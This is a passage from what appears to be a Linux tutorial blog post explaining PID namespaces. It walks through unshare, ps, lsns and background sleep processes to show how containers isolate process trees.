https://substackcdn.com/image/fetch/$s_!ivKj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 848w, https://substackcdn.com/image/fetch/$s_!ivKj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 1272w, https://substackcdn.com/image/fetch/$s_!ivKj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ivKj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png" width="1024" height="165" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:165,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:20291,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ivKj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 424w, https://substackcdn.com/image/fetch/$s_!ivKj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 848w, https://substackcdn.com/image/fetch/$s_!ivKj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 1272w, https://substackcdn.com/image/fetch/$s_!ivKj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This command tells Linux to start a new shell in its own PID namespace. Here&#8217;s what each option does:</p><ul><li><p><code>sudo</code>, required since creating namespaces needs root privileges.</p></li><li><p><code>unshare</code>, creates new namespaces and runs a program inside them.</p></li><li><p><code>-pid</code>, creates a new PID namespace where process numbering starts from 1.</p></li><li><p><code>-fork</code>, forks a child process to enter the new namespace (the parent cannot change its own PID).</p></li><li><p><code>--mount-proc</code>, mounts a fresh <code>/proc</code> filesystem inside the new namespace so that it only displays the processes that exist within that namespace. Without this option, commands like <code>ps</code> or <code>top</code> would still read from the host&#8217;s <code>/proc</code>, showing all system processes instead of the isolated ones. Which defeats the purpose of PID namespace isolation.</p></li><li><p><code>/bin/bash</code>, launches a new shell inside that namespace.</p></li></ul><p>Once inside, list the processes:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GqFR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GqFR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 424w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 848w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 1272w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GqFR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png" width="1024" height="185" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:185,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33234,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GqFR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 424w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 848w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 1272w, https://substackcdn.com/image/fetch/$s_!GqFR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9236161f-d0e0-468c-a195-a037af732ab9_1024x185.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You&#8217;ll see just two processes, <code>bash</code> and <code>ps</code>.</p><p>That&#8217;s because this new namespace has its own isolated process table.</p><p>To verify, check your shell&#8217;s PID:</p><pre><code><code># echo $$</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xRDC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xRDC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 424w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 848w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 1272w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xRDC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png" width="1024" height="185" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:185,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:17735,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xRDC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 424w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 848w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 1272w, https://substackcdn.com/image/fetch/$s_!xRDC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F038714b6-2ba0-44bc-a6e7-0b9ce78b4ea5_1024x185.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>It prints <strong>1</strong>, meaning this shell is now acting as the <em>init</em> process of the new namespace, responsible for reaping child processes and managing lifecycle events inside this isolated world.</p><p>From this short test, you&#8217;ve essentially recreated one of the key aspects of container behavior: a private process world with its own PID 1.</p><p>Inside the new PID namespace (<strong>child-ns-01</strong>), let&#8217;s create a few processes to see how they appear.</p><p>For simplicity, we&#8217;ll use the <code>sleep</code> command and run each instance in the background so they don&#8217;t block our terminal:</p><pre><code><code># sleep 10000 &amp;
# sleep 9000 &amp;
# sleep 8000 &amp;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Zwua!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Zwua!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 424w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 848w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 1272w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Zwua!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png" width="1024" height="232" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:232,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:34157,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Zwua!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 424w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 848w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 1272w, https://substackcdn.com/image/fetch/$s_!Zwua!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F003eb58a-5df4-4aaa-a0f0-63fb2a8b3115_1024x232.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Now check the process list again:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VOjk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VOjk!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 424w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 848w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 1272w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VOjk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png" width="1024" height="256" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:256,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50406,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VOjk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 424w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 848w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 1272w, https://substackcdn.com/image/fetch/$s_!VOjk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F330b680b-7744-48fb-b0b6-2f27abb1f67b_1024x256.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>From the output, each <code>sleep</code> command has its own unique PID within this namespace, starting from <strong>1</strong> for <code>bash</code>, then <strong>12</strong>, <strong>13</strong>, and <strong>14</strong> for the <code>sleep</code> processes and finally the <strong>16</strong> for the <code>ps</code> command we just ran.</p><p>We can confirm that this shell is running in its own PID namespace by listing PID namespaces again:</p><pre><code><code>$ lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0N-t!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0N-t!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 424w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 848w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 1272w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0N-t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png" width="1024" height="186" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:186,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26918,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0N-t!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 424w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 848w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 1272w, https://substackcdn.com/image/fetch/$s_!0N-t!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ed75fc-4f19-4ae5-833c-5436e5346638_1024x186.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here, the namespace ID 4026532194 is different from the root namespace (<code>4026531836</code>).</p><p>This means processes here exist in their own isolated PID namespace, they can only see other processes within this namespace and any namespaces created below it.</p><blockquote><p>Note</p><p>Before we move on, there&#8217;s one important point to note. If you had run lsns (without the <code>-t pid</code> flag) in the child-ns-01 terminal, you would still see all the other namespaces listed. You might expect to see only the PID namespace we created, but that&#8217;s not the case.</p><p>When we use the unshare --pid command, it creates a new PID namespace but does not automatically create new namespaces for network, UTS, IPC, user, or cgroup, those remain shared with the parent process. However, in our case, we also used the --mount-proc option. This flag causes the kernel to create a new mount namespace as well, so that a fresh /proc filesystem can be mounted inside the isolated environment without affecting the host&#8217;s global mount table.</p><p>So, when you run lsns inside the child shell, you&#8217;ll notice that the PID and mount namespace IDs differ from the host&#8217;s root process (/sbin/init), while the other namespaces (network, UTS, IPC, user, cgroup, etc.) have the same IDs as the parent, since they are still shared.</p></blockquote><p>Now that we&#8217;ve confirmed the new namespace exists, let&#8217;s go back to the <strong>parent-ns</strong> terminal and check what it can see.</p><p>Run the following command to view all processes and their PID namespaces, filtering for the child namespace ID (<code>4026532194</code> in this example):</p><pre><code><code>$ sudo ps -eo pid,pidns,cmd | grep 4026532194</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MAUL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MAUL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 424w, https://substackcdn.com/image/fetch/$s_!MAUL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 848w, https://substackcdn.com/image/fetch/$s_!MAUL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 1272w, https://substackcdn.com/image/fetch/$s_!MAUL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MAUL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png" width="1024" height="245" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:245,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50815,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MAUL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 424w, https://substackcdn.com/image/fetch/$s_!MAUL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 848w, 